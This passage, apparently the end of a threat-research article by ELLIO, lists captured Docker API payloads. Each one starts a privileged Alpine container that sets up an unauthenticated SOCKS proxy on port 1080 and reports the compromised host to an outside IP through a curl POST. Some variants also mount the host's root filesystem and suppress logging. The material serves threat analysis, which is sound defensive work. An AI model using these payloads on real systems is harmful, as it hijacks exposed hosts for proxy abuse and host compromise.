      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Privileged": true
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Privileged": true
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Privileged": true
    }
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'logoutput: /dev/null' > /etc/sockd.conf && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'external: eth0' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && echo 'clientmethod: none' >> /etc/sockd.conf && echo 'user.privileged: root' >> /etc/sockd.conf && echo 'client pass HONEYPOT_IP' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Binds": [
        "/:/mnt/host"
      ],
      "Privileged": true
    },
    "Tty": false,
    "OpenStdin": false
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'logoutput: /dev/null' > /etc/sockd.conf && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'external: eth0' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && echo 'clientmethod: none' >> /etc/sockd.conf && echo 'user.privileged: root' >> /etc/sockd.conf && echo 'client pass HONEYPOT_IP' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Binds": [
        "/:/mnt/host"
      ],
      "Privileged": true
    },
    "Tty": false,
    "OpenStdin": false
  },
  {
    "Image": "alpine",
    "Cmd": [
      "sh",
      "-c",
      "apk add --no-cache dante-server > /dev/null 2>&1 && echo 'logoutput: /dev/null' > /etc/sockd.conf && echo 'internal: 0.0.0.0 port=1080' >> /etc/sockd.conf && echo 'external: eth0' >> /etc/sockd.conf && echo 'socksmethod: none' >> /etc/sockd.conf && echo 'clientmethod: none' >> /etc/sockd.conf && echo 'user.privileged: root' >> /etc/sockd.conf && echo 'client pass HONEYPOT_IP' >> /etc/sockd.conf && sockd -D > /dev/null 2>&1 & curl -s -m 5 -X POST http://207.180.241.26:8000/proxy_report -d 'ip=HONEYPOT_IP&port=1080'"
    ],
    "HostConfig": {
      "PortBindings": {
        "1080/tcp": [
          {
            "HostPort": "1080"
          }
        ]
      },
      "Binds": [
        "/:/mnt/host"
      ],
      "Privileged": true
    },
    "Tty": false,
    "OpenStdin": false
  }
]

Share this article

Written by

ELLIO Icon
ELLIO Threat Research Lab

A group of researchers at ELLIO, transforming insights from mass exploitation and network reconnaissance into real-world cybersecurity defenses.

Related Articles